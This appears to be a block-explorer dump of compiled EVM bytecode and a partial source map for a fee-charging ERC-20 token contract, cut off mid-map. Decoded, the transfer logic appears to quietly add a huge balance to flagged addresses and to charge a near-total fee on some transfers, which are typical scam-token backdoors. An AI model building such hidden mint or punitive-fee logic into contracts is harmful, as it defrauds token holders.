15260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064015b60405180910390fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b606060088054610605906114d1565b600061069533846106f985604051806060016040528060258152602001611685602591393360009081526002602090815260408083206001600160a01b038d1684529091529020549190610e37565b6000610695338484610af3565b6008805461085f906114d1565b80601f016020809104026020016040519081016040528092919081815260200182805461088b906114d1565b80156108d85780601f106108ad576101008083540402835291602001916108d8565b820191906000526020600020905b8154815290600101906020018083116108bb57829003601f168201915b505050505081565b60008060006108f184600087610e76565b905060006108ff8683610f52565b96919550909350505050565b6007805461085f906114d1565b6000546001600160a01b031633146109725760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610794565b6001600160a01b0381166109d75760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610794565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b03831615801590610a5257506001600160a01b03821615155b610a925760405162461bcd60e51b81526020600482015260116024820152704552523a207a65726f206164647265737360781b6044820152606401610794565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6000546001600160a01b03838116911614801590610b1f57506006546001600160a01b03838116911614155b8015610b3457506001600160a01b0382163014155b8015610b4e57506017546001600160a01b03838116911614155b8015610b7357506001600160a01b03821660009081526003602052604090205460ff16155b8015610b8d57506000546001600160a01b03848116911614155b15610c08576001600160a01b038216600090815260016020526040902054601254610bb88383611521565b1115610c065760405162461bcd60e51b815260206004820152601860248201527f4d61782077616c6c6574206c696d6974206578636565642100000000000000006044820152606401610794565b505b6000546001600160a01b03848116911614801590610c3457506000546001600160a01b03838116911614155b8015610c7c57506001600160a01b03831660009081526003602052604090205460ff1680610c7a57506001600160a01b03821660009081526003602052604090205460ff165b155b15610cd357601454811115610cd35760405162461bcd60e51b815260206004820152601c60248201527f4d6178207472616e73616374696f6e206c696d742065786365656421000000006044820152606401610794565b601754610ceb908390600160b01b900460ff16610f5e565b15610d04576017805460ff60b01b1916600160b01b1790555b600b5460ff61010082048116911610801590610d2a5750601754600160a01b900460ff16155b8015610d4457506017546001600160a01b03848116911614155b8015610d595750601754600160a81b900460ff165b15610d9857600b805460ff1916905530600090815260016020526040902054601454811115610d8757506014545b8015610d9657610d9681610f88565b505b6001600160a01b03831660009081526005602052604090205460019060ff1680610dda57506001600160a01b03831660009081526005602052604090205460ff165b15610de757506000610e25565b6017546001600160a01b0390811690851603610e0857600d54600c55610e25565b6017546001600160a01b0390811690841603610e2557600e54600c555b610e3184848484610fcd565b50505050565b60008184841115610e5b5760405162461bcd60e51b81526004016107949190611383565b505050900390565b6000610e6f8284611521565b9392505050565b6017546000908190600160b01b900460ff161580610eac57506001600160a01b03851660009081526003602052604090205460ff165b80610ecf57506001600160a01b03851660009081526004602052604090205460ff165b15610efb57610ef46064610eee600c548661103390919063ffffffff16565b9061103f565b9050610f3c565b60408051602080820183526008918290528251908101909252605a91829052610f3991606491610eee91610f2f919061154a565b869060ff16611033565b90505b610f498160ff8616610e63565b95945050505050565b6000610e6f8284611563565b6001600160a01b03821660009081526003602052604081205460ff168015610e6f57505015919050565b6017805460ff60a01b1916600160a01b179055610fa48161104b565b6006544790610fbc906001600160a01b0316826111a5565b50506017805460ff60a01b19169055565b80610fdf57610fda6111e0565b61100c565b600b805460ff16906000610ff283611576565b91906101000a81548160ff021916908360ff160217905550505b611017848484611225565b80610e3157610e31600f54600c55601054600d55601154600e55565b6000610e6f8284611595565b6000610e6f82846115ac565b604080516002808252606082018352600092602083019080368337019050509050308160008151811061108057611080611534565b6001600160a01b03928316602091820292909201810191909152601654604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156110d9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110fd91906115ce565b8160018151811061111057611110611534565b6001600160a01b0392831660209182029290920101526016546111369130911684610a32565b60165460405163791ac94760e01b81526001600160a01b039091169063791ac9479061116f9085906000908690309042906004016115eb565b600060405180830381600087803b15801561118957600080fd5b505af115801561119d573d6000803e3d6000fd5b505050505050565b6040516001600160a01b0383169082156108fc029083906000818181858888f193505050501580156111db573d6000803e3d6000fd5b505050565b600c541580156111f05750600d54155b80156111fc5750600e54155b1561120357565b600d8054601055600e8054601155600c8054600f556000928390559082905555565b60008061123283866108e0565b6001600160a01b038716600090815260016020526040902054919350915061125a9084610f52565b6001600160a01b0380871660009081526001602052604080822093909355908616815220546112899083610e63565b6001600160a01b0385166000908152600160205260408082209290925530815220546112b59082610e63565b306000908152600160209081526040808320939093556001600160a01b038716825260039052205460ff161561132f576113156c0c9f2c9cd04674edea400000006001600160a01b03861660009081526001602052604090205490610e63565b6001600160a01b0385166000908152600160205260409020555b836001600160a01b0316856001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161137491815260200190565b60405180910390a35050505050565b600060208083528351808285015260005b818110156113b057858101830151858201604001528201611394565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b03811681146113e657600080fd5b50565b600080604083850312156113fc57600080fd5b8235611407816113d1565b946020939093013593505050565b60008060006060848603121561142a57600080fd5b8335611435816113d1565b92506020840135611445816113d1565b929592945050506040919091013590565b60006020828403121561146857600080fd5b8135610e6f816113d1565b6000806040838503121561148657600080fd5b823591506020830135611498816113d1565b809150509250929050565b600080604083850312156114b657600080fd5b82356114c1816113d1565b91506020830135611498816113d1565b600181811c908216806114e557607f821691505b60208210810361150557634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b808201808211156106995761069961150b565b634e487b7160e01b600052603260045260246000fd5b60ff81811683821601908111156106995761069961150b565b818103818111156106995761069961150b565b600060ff821660ff810361158c5761158c61150b565b60010192915050565b80820281158282048414176106995761069961150b565b6000826115c957634e487b7160e01b600052601260045260246000fd5b500490565b6000602082840312156115e057600080fd5b8151610e6f816113d1565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b8181101561163b5784516001600160a01b031683529383019391830191600101611616565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220145d9b1dd179272685156a4be158c233929dd23d098e829821a93cfe5ef1008264736f6c63430008130033

Deployed Bytecode

0x6080604052600436106101d15760003560e01c806378109e54116100f7578063b09f126611610095578063dd62ed3e11610064578063dd62ed3e14610530578063eb6b678014610576578063f2fde38b146105a6578063ffffc962146105c657600080fd5b8063b09f1266146104a1578063cccdbe2e146104b6578063d28d8852146104eb578063dad58cb71461050057600080fd5b806395d89b41116100d157806395d89b4114610436578063a457c2d71461044b578063a9059cbb1461046b578063af465a271461048b57600080fd5b806378109e54146103ec5780637d1db4a5146104025780638da5cb5b1461041857600080fd5b8063313ce5671161016f5780634a74bb021161013e5780634a74bb0214610368578063590f897e1461038957806370a082311461039f578063715018a6146103d557600080fd5b8063313ce567146102f0578063395093511461031257806340b9a54b1461033257806349bd5a5e1461034857600080fd5b806318160ddd116101ab57806318160ddd14610270578063220f66961461028f57806323b872dd146102b05780632ed5726e146102d057600080fd5b806306fdde03146101dd578063095ea7b3146102085780631694505e1461023857600080fd5b366101d857005b600080fd5b3480156101e957600080fd5b506101f26105f6565b6040516101ff9190611383565b60405180910390f35b34801561021457600080fd5b506102286102233660046113e9565b610688565b60405190151581526020016101ff565b34801561024457600080fd5b50601654610258906001600160a01b031681565b6040516001600160a01b0390911681526020016101ff565b34801561027c57600080fd5b50600a545b6040519081526020016101ff565b34801561029b57600080fd5b5060175461022890600160a01b900460ff1681565b3480156102bc57600080fd5b506102286102cb366004611415565b61069f565b3480156102dc57600080fd5b50600654610258906001600160a01b031681565b3480156102fc57600080fd5b5060095460405160ff90911681526020016101ff565b34801561031e57600080fd5b5061022861032d3660046113e9565b610708565b34801561033e57600080fd5b50610281600d5481565b34801561035457600080fd5b50601754610258906001600160a01b031681565b34801561037457600080fd5b5060175461022890600160a81b900460ff1681565b34801561039557600080fd5b50610281600e5481565b3480156103ab57600080fd5b506102816103ba366004611456565b6001600160a01b031660009081526001602052604090205490565b3480156103e157600080fd5b506103ea61073e565b005b3480156103f857600080fd5b5061028160125481565b34801561040e57600080fd5b5061028160145481565b34801561042457600080fd5b506000546001600160a01b0316610258565b34801561044257600080fd5b506101f26107e7565b34801561045757600080fd5b506102286104663660046113e9565b6107f6565b34801561047757600080fd5b506102286104863660046113e9565b610845565b34801561049757600080fd5b50610281600a5481565b3480156104ad57600080fd5b506101f2610852565b3480156104c257600080fd5b506104d66104d1366004611473565b6108e0565b604080519283526020830191909152016101ff565b3480156104f757600080fd5b506101f261090b565b34801561050c57600080fd5b5061022861051b366004611456565b60056020526000908152604090205460ff1681565b34801561053c57600080fd5b5061028161054b3660046114a3565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b34801561058257600080fd5b50610228610591366004611456565b60036020526000908152604090205460ff1681565b3480156105b257600080fd5b506103ea6105c1366004611456565b610918565b3480156105d257600080fd5b506102286105e1366004611456565b60046020526000908152604090205460ff1681565b606060078054610605906114d1565b80601f0160208091040260200160405190810160405280929190818152602001828054610631906114d1565b801561067e5780601f106106535761010080835404028352916020019161067e565b820191906000526020600020905b81548152906001019060200180831161066157829003601f168201915b5050505050905090565b6000610695338484610a32565b5060015b92915050565b60006106ac848484610af3565b6106fe84336106f98560405180606001604052806028815260200161165d602891396001600160a01b038a1660009081526002602090815260408083203384529091529020549190610e37565b610a32565b5060019392505050565b3360008181526002602090815260408083206001600160a01b038716845290915281205490916106959185906106f99086610e63565b6000546001600160a01b0316331461079d5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064015b60405180910390fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b606060088054610605906114d1565b600061069533846106f985604051806060016040528060258152602001611685602591393360009081526002602090815260408083206001600160a01b038d1684529091529020549190610e37565b6000610695338484610af3565b6008805461085f906114d1565b80601f016020809104026020016040519081016040528092919081815260200182805461088b906114d1565b80156108d85780601f106108ad576101008083540402835291602001916108d8565b820191906000526020600020905b8154815290600101906020018083116108bb57829003601f168201915b505050505081565b60008060006108f184600087610e76565b905060006108ff8683610f52565b96919550909350505050565b6007805461085f906114d1565b6000546001600160a01b031633146109725760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610794565b6001600160a01b0381166109d75760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610794565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b03831615801590610a5257506001600160a01b03821615155b610a925760405162461bcd60e51b81526020600482015260116024820152704552523a207a65726f206164647265737360781b6044820152606401610794565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6000546001600160a01b03838116911614801590610b1f57506006546001600160a01b03838116911614155b8015610b3457506001600160a01b0382163014155b8015610b4e57506017546001600160a01b03838116911614155b8015610b7357506001600160a01b03821660009081526003602052604090205460ff16155b8015610b8d57506000546001600160a01b03848116911614155b15610c08576001600160a01b038216600090815260016020526040902054601254610bb88383611521565b1115610c065760405162461bcd60e51b815260206004820152601860248201527f4d61782077616c6c6574206c696d6974206578636565642100000000000000006044820152606401610794565b505b6000546001600160a01b03848116911614801590610c3457506000546001600160a01b03838116911614155b8015610c7c57506001600160a01b03831660009081526003602052604090205460ff1680610c7a57506001600160a01b03821660009081526003602052604090205460ff165b155b15610cd357601454811115610cd35760405162461bcd60e51b815260206004820152601c60248201527f4d6178207472616e73616374696f6e206c696d742065786365656421000000006044820152606401610794565b601754610ceb908390600160b01b900460ff16610f5e565b15610d04576017805460ff60b01b1916600160b01b1790555b600b5460ff61010082048116911610801590610d2a5750601754600160a01b900460ff16155b8015610d4457506017546001600160a01b03848116911614155b8015610d595750601754600160a81b900460ff165b15610d9857600b805460ff1916905530600090815260016020526040902054601454811115610d8757506014545b8015610d9657610d9681610f88565b505b6001600160a01b03831660009081526005602052604090205460019060ff1680610dda57506001600160a01b03831660009081526005602052604090205460ff165b15610de757506000610e25565b6017546001600160a01b0390811690851603610e0857600d54600c55610e25565b6017546001600160a01b0390811690841603610e2557600e54600c555b610e3184848484610fcd565b50505050565b60008184841115610e5b5760405162461bcd60e51b81526004016107949190611383565b505050900390565b6000610e6f8284611521565b9392505050565b6017546000908190600160b01b900460ff161580610eac57506001600160a01b03851660009081526003602052604090205460ff165b80610ecf57506001600160a01b03851660009081526004602052604090205460ff165b15610efb57610ef46064610eee600c548661103390919063ffffffff16565b9061103f565b9050610f3c565b60408051602080820183526008918290528251908101909252605a91829052610f3991606491610eee91610f2f919061154a565b869060ff16611033565b90505b610f498160ff8616610e63565b95945050505050565b6000610e6f8284611563565b6001600160a01b03821660009081526003602052604081205460ff168015610e6f57505015919050565b6017805460ff60a01b1916600160a01b179055610fa48161104b565b6006544790610fbc906001600160a01b0316826111a5565b50506017805460ff60a01b19169055565b80610fdf57610fda6111e0565b61100c565b600b805460ff16906000610ff283611576565b91906101000a81548160ff021916908360ff160217905550505b611017848484611225565b80610e3157610e31600f54600c55601054600d55601154600e55565b6000610e6f8284611595565b6000610e6f82846115ac565b604080516002808252606082018352600092602083019080368337019050509050308160008151811061108057611080611534565b6001600160a01b03928316602091820292909201810191909152601654604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156110d9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110fd91906115ce565b8160018151811061111057611110611534565b6001600160a01b0392831660209182029290920101526016546111369130911684610a32565b60165460405163791ac94760e01b81526001600160a01b039091169063791ac9479061116f9085906000908690309042906004016115eb565b600060405180830381600087803b15801561118957600080fd5b505af115801561119d573d6000803e3d6000fd5b505050505050565b6040516001600160a01b0383169082156108fc029083906000818181858888f193505050501580156111db573d6000803e3d6000fd5b505050565b600c541580156111f05750600d54155b80156111fc5750600e54155b1561120357565b600d8054601055600e8054601155600c8054600f556000928390559082905555565b60008061123283866108e0565b6001600160a01b038716600090815260016020526040902054919350915061125a9084610f52565b6001600160a01b0380871660009081526001602052604080822093909355908616815220546112899083610e63565b6001600160a01b0385166000908152600160205260408082209290925530815220546112b59082610e63565b306000908152600160209081526040808320939093556001600160a01b038716825260039052205460ff161561132f576113156c0c9f2c9cd04674edea400000006001600160a01b03861660009081526001602052604090205490610e63565b6001600160a01b0385166000908152600160205260409020555b836001600160a01b0316856001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161137491815260200190565b60405180910390a35050505050565b600060208083528351808285015260005b818110156113b057858101830151858201604001528201611394565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b03811681146113e657600080fd5b50565b600080604083850312156113fc57600080fd5b8235611407816113d1565b946020939093013593505050565b60008060006060848603121561142a57600080fd5b8335611435816113d1565b92506020840135611445816113d1565b929592945050506040919091013590565b60006020828403121561146857600080fd5b8135610e6f816113d1565b6000806040838503121561148657600080fd5b823591506020830135611498816113d1565b809150509250929050565b600080604083850312156114b657600080fd5b82356114c1816113d1565b91506020830135611498816113d1565b600181811c908216806114e557607f821691505b60208210810361150557634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b808201808211156106995761069961150b565b634e487b7160e01b600052603260045260246000fd5b60ff81811683821601908111156106995761069961150b565b818103818111156106995761069961150b565b600060ff821660ff810361158c5761158c61150b565b60010192915050565b80820281158282048414176106995761069961150b565b6000826115c957634e487b7160e01b600052601260045260246000fd5b500490565b6000602082840312156115e057600080fd5b8151610e6f816113d1565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b8181101561163b5784516001600160a01b031683529383019391830191600101611616565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220145d9b1dd179272685156a4be158c233929dd23d098e829821a93cfe5ef1008264736f6c63430008130033

Deployed Bytecode Sourcemap

13971:9078:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;16399:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;17234:161;;;;;;;;;;-1:-1:-1;17234:161:0;;;;;:::i;:::-;;:::i;:::-;;;1188:14:1;;1181:22;1163:41;;1151:2;1136:18;17234:161:0;1023:187:1;15236:41:0;;;;;;;;;;-1:-1:-1;15236:41:0;;;;-1:-1:-1;;;;;15236:41:0;;;;;;-1:-1:-1;;;;;1406:32:1;;;1388:51;;1376:2;1361:18;15236:41:0;1215:230:1;16676:95:0;;;;;;;;;;-1:-1:-1;16756:7:0;;16676:95;;;1596:25:1;;;1584:2;1569:18;16676:95:0;1450:177:1;15319:28:0;;;;;;;;;;-1:-1:-1;15319:28:0;;;;-1:-1:-1;;;15319:28:0;;;;;;17403:313;;;;;;;;;;-1:-1:-1;17403:313:0;;;;;:::i;:::-;;:::i;14383:87::-;;;;;;;;;;-1:-1:-1;14383:87:0;;;;-1:-1:-1;;;;;14383:87:0;;;16585:83;;;;;;;;;;-1:-1:-1;16651:9:0;;16585:83;;16651:9;;;;2459:36:1;;2447:2;2432:18;16585:83:0;2317:184:1;17724:218:0;;;;;;;;;;-1:-1:-1;17724:218:0;;;;;:::i;:::-;;:::i;14761:26::-;;;;;;;;;;;;;;;;15284:28;;;;;;;;;;-1:-1:-1;15284:28:0;;;;-1:-1:-1;;;;;15284:28:0;;;15354:40;;;;;;;;;;-1:-1:-1;15354:40:0;;;;-1:-1:-1;;;15354:40:0;;;;;;14794:27;;;;;;;;;;;;;;;;16779:121;;;;;;;;;;-1:-1:-1;16779:121:0;;;;;:::i;:::-;-1:-1:-1;;;;;16872:20:0;16845:7;16872:20;;;:11;:20;;;;;;;16779:121;5754:148;;;;;;;;;;;;;:::i;:::-;;14984:57;;;;;;;;;;;;;;;;15114:54;;;;;;;;;;;;;;;;5531:87;;;;;;;;;;-1:-1:-1;5577:7:0;5604:6;-1:-1:-1;;;;;5604:6:0;5531:87;;16490;;;;;;;;;;;;;:::i;17950:269::-;;;;;;;;;;-1:-1:-1;17950:269:0;;;;;:::i;:::-;;:::i;16908:167::-;;;;;;;;;;-1:-1:-1;16908:167:0;;;;;:::i;:::-;;:::i;14594:51::-;;;;;;;;;;;;;;;;14521:32;;;;;;;;;;;;;:::i;22772:274::-;;;;;;;;;;-1:-1:-1;22772:274:0;;;;;:::i;:::-;;:::i;:::-;;;;3460:25:1;;;3516:2;3501:18;;3494:34;;;;3433:18;22772:274:0;3286:248:1;14479:35:0;;;;;;;;;;;;;:::i;14326:44::-;;;;;;;;;;-1:-1:-1;14326:44:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;17083:143;;;;;;;;;;-1:-1:-1;17083:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;17191:18:0;;;17164:7;17191:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;17083:143;14221:42;;;;;;;;;;-1:-1:-1;14221:42:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;5910:244;;;;;;;;;;-1:-1:-1;5910:244:0;;;;;:::i;:::-;;:::i;14270:49::-;;;;;;;;;;-1:-1:-1;14270:49:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;16399:83;16436:13;16469:5;16462:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;16399:83;:::o;17234:161::-;17309:4;17326:39;1760:10;17349:7;17358:6;17326:8;:39::i;:::-;-1:-1:-1;17383:4:0;17234:161;;;;;:::o;17403:313::-;17501:4;17518:36;17528:6;17536:9;17547:6;17518:9;:36::i;:::-;17565:121;17574:6;1760:10;17596:89;17634:6;17596:89;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;17596:19:0;;;;;;:11;:19;;;;;;;;1760:10;17596:33;;;;;;;;;;:37;:89::i;:::-;17565:8;:121::i;:::-;-1:-1:-1;17704:4:0;17403:313;;;;;:::o;17724:218::-;1760:10;17812:4;17861:25;;;:11;:25;;;;;;;;-1:-1:-1;;;;;17861:34:0;;;;;;;;;;17812:4;;17829:83;;17852:7;;17861:50;;17900:10;17861:38;:50::i;5754:148::-;5577:7;5604:6;-1:-1:-1;;;;;5604:6:0;1760:10;5666:23;5658:68;;;;-1:-1:-1;;;5658:68:0;;4519:2:1;5658:68:0;;;4501:21:1;;;4538:18;;;4531:30;4597:34;4577:18;;;4570:62;4649:18;;5658:68:0;;;;;;;;;5861:1:::1;5845:6:::0;;5824:40:::1;::::0;-1:-1:-1;;;;;5845:6:0;;::::1;::::0;5824:40:::1;::::0;5861:1;;5824:40:::1;5892:1;5875:19:::0;;-1:-1:-1;;;;;;5875:19:0::1;::::0;;5754:148::o;16490:87::-;16529:13;16562:7;16555:14;;;;;:::i;17950:269::-;18043:4;18060:129;1760:10;18083:7;18092:96;18131:15;18092:96;;;;;;;;;;;;;;;;;1760:10;18092:25;;;;:11;:25;;;;;;;;-1:-1:-1;;;;;18092:34:0;;;;;;;;;;;;:38;:96::i;16908:167::-;16986:4;17003:42;1760:10;17027:9;17038:6;17003:9;:42::i;14521:32::-;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::o;22772:274::-;22849:7;22858;22878:17;22898:37;22916:6;22924:1;22927:7;22898:17;:37::i;:::-;22878:57;-1:-1:-1;22946:22:0;22971;:7;22878:57;22971:11;:22::i;:::-;22946:47;23028:9;;-1:-1:-1;22772:274:0;;-1:-1:-1;;;;22772:274:0:o;14479:35::-;;;;;;;:::i;5910:244::-;5577:7;5604:6;-1:-1:-1;;;;;5604:6:0;1760:10;5666:23;5658:68;;;;-1:-1:-1;;;5658:68:0;;4519:2:1;5658:68:0;;;4501:21:1;;;4538:18;;;4531:30;4597:34;4577:18;;;4570:62;4649:18;;5658:68:0;4317:356:1;5658:68:0;-1:-1:-1;;;;;5999:22:0;::::1;5991:73;;;::::0;-1:-1:-1;;;5991:73:0;;4880:2:1;5991:73:0::1;::::0;::::1;4862:21:1::0;4919:2;4899:18;;;4892:30;4958:34;4938:18;;;4931:62;-1:-1:-1;;;5009:18:1;;;5002:36;5055:19;;5991:73:0::1;4678:402:1::0;5991:73:0::1;6101:6;::::0;;6080:38:::1;::::0;-1:-1:-1;;;;;6080:38:0;;::::1;::::0;6101:6;::::1;::::0;6080:38:::1;::::0;::::1;6129:6;:17:::0;;-1:-1:-1;;;;;;6129:17:0::1;-1:-1:-1::0;;;;;6129:17:0;;;::::1;::::0;;;::::1;::::0;;5910:244::o;19355:262::-;-1:-1:-1;;;;;19448:19:0;;;;;;:44;;-1:-1:-1;;;;;;19471:21:0;;;;19448:44;19440:74;;;;-1:-1:-1;;;19440:74:0;;5287:2:1;19440:74:0;;;5269:21:1;5326:2;5306:18;;;5299:30;-1:-1:-1;;;5345:18:1;;;5338:47;5402:18;;19440:74:0;5085:341:1;19440:74:0;-1:-1:-1;;;;;19525:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;19577:32;;1596:25:1;;;19577:32:0;;1569:18:1;19577:32:0;;;;;;;19355:262;;;:::o;19625:1389::-;5577:7;5604:6;-1:-1:-1;;;;;19745:13:0;;;5604:6;;19745:13;;;;:33;;-1:-1:-1;19768:10:0;;-1:-1:-1;;;;;19762:16:0;;;19768:10;;19762:16;;19745:33;:56;;;;-1:-1:-1;;;;;;19782:19:0;;19796:4;19782:19;;19745:56;:79;;;;-1:-1:-1;19811:13:0;;-1:-1:-1;;;;;19805:19:0;;;19811:13;;19805:19;;19745:79;:97;;;;-1:-1:-1;;;;;;19829:13:0;;;;;;:9;:13;;;;;;;;19828:14;19745:97;:116;;;;-1:-1:-1;5577:7:0;5604:6;-1:-1:-1;;;;;19846:15:0;;;5604:6;;19846:15;;19745:116;19741:286;;;-1:-1:-1;;;;;16872:20:0;;19877:24;16872:20;;;:11;:20;;;;;;19971:15;;19941:25;19960:6;16872:20;19941:25;:::i;:::-;19940:46;;19932:83;;;;-1:-1:-1;;;19932:83:0;;5895:2:1;19932:83:0;;;5877:21:1;5934:2;5914:18;;;5907:30;5973:26;5953:18;;;5946:54;6017:18;;19932:83:0;5693:348:1;19932:83:0;19862:165;19741:286;5577:7;5604:6;-1:-1:-1;;;;;20051:15:0;;;5604:6;;20051:15;;;;:32;;-1:-1:-1;5577:7:0;5604:6;-1:-1:-1;;;;;20070:13:0;;;5604:6;;20070:13;;20051:32;:71;;;;-1:-1:-1;;;;;;20089:15:0;;;;;;:9;:15;;;;;;;;;:32;;-1:-1:-1;;;;;;20108:13:0;;;;;;:9;:13;;;;;;;;20089:32;20087:35;20051:71;20047:166;;;20156:12;;20146:6;:22;;20138:63;;;;-1:-1:-1;;;20138:63:0;;6248:2:1;20138:63:0;;;6230:21:1;6287:2;6267:18;;;6260:30;6326;6306:18;;;6299:58;6374:18;;20138:63:0;6046:352:1;20138:63:0;20239:17;;20226:31;;20235:2;;-1:-1:-1;;;20239:17:0;;;;20226:8;:31::i;:::-;20223:62;;;20260:17;:22;;-1:-1:-1;;;;20260:22:0;-1:-1:-1;;;20260:22:0;;;20223:62;20309:11;;;;;;;;20298:7;;:22;;;;:43;;-1:-1:-1;20325:16:0;;-1:-1:-1;;;20325:16:0;;;;20324:17;20298:43;:68;;;;-1:-1:-1;20353:13:0;;-1:-1:-1;;;;;20345:21:0;;;20353:13;;20345:21;;20298:68;:93;;;;-1:-1:-1;20370:21:0;;-1:-1:-1;;;20370:21:0;;;;20298:93;20295:409;;;20410:7;:11;;-1:-1:-1;;20410:11:0;;;20485:4;-1:-1:-1;16872:20:0;;;-1:-1:-1;16872:20:0;;;;;;20532:12;;20509:35;;20506:78;;;-1:-1:-1;20570:12:0;;20506:78;20601:24;;20598:95;;20641:36;20656:20;20641:14;:36::i;:::-;20393:311;20295:409;-1:-1:-1;;;;;20768:17:0;;20724:12;20768:17;;;:11;:17;;;;;;20739:4;;20768:17;;;:36;;-1:-1:-1;;;;;;20789:15:0;;;;;;:11;:15;;;;;;;;20768:36;20765:187;;;-1:-1:-1;20830:5:0;20765:187;;;20865:13;;-1:-1:-1;;;;;20865:13:0;;;20857:21;;;;20853:99;;20891:7;;20880:8;:18;20853:99;;;20916:13;;-1:-1:-1;;;;;20916:13:0;;;20910:19;;;;20906:46;;20942:8;;20931;:19;20906:46;20972:34;20983:4;20988:2;20991:6;20998:7;20972:10;:34::i;:::-;19728:1286;19625:1389;;;:::o;1211:206::-;1297:7;1358:12;1350:6;;;;1342:29;;;;-1:-1:-1;;;1342:29:0;;;;;;;;:::i;:::-;-1:-1:-1;;;1393:5:0;;;1211:206::o;783:98::-;841:7;868:5;872:1;868;:5;:::i;:::-;861:12;783:98;-1:-1:-1;;;783:98:0:o;18956:391::-;19105:17;;19051:7;;;;-1:-1:-1;;;19105:17:0;;;;19104:18;;:42;;-1:-1:-1;;;;;;19126:20:0;;;;;;:9;:20;;;;;;;;19104:42;:73;;;-1:-1:-1;;;;;;19150:27:0;;;;;;:16;:27;;;;;;;;19104:73;19101:203;;;19204:29;19229:3;19204:20;19215:8;;19204:6;:10;;:20;;;;:::i;:::-;:24;;:29::i;:::-;19193:40;;19101:203;;;19283:8;;;;;;;;;19284:3;19283:8;;;;19273:9;;;;;;;;19274:4;19273:9;;;;19261:41;;19298:3;;19261:32;;19273:18;;19284:3;19273:18;:::i;:::-;19261:6;;:32;;:10;:32::i;:41::-;19250:52;;19101:203;19321:18;:8;:18;;;:12;:18::i;:::-;19314:25;18956:391;-1:-1:-1;;;;;18956:391:0:o;889:98::-;947:7;974:5;978:1;974;:5;:::i;18662:117::-;-1:-1:-1;;;;;18748:13:0;;18725:4;18748:13;;;:9;:13;;;;;;;;:23;;;;-1:-1:-1;;18765:6:0;;18662:117;-1:-1:-1;18662:117:0:o;21142:232::-;15680:16;:23;;-1:-1:-1;;;;15680:23:0;-1:-1:-1;;;15680:23:0;;;21227:38:::1;21244:20:::0;21227:16:::1;:38::i;:::-;21343:10;::::0;21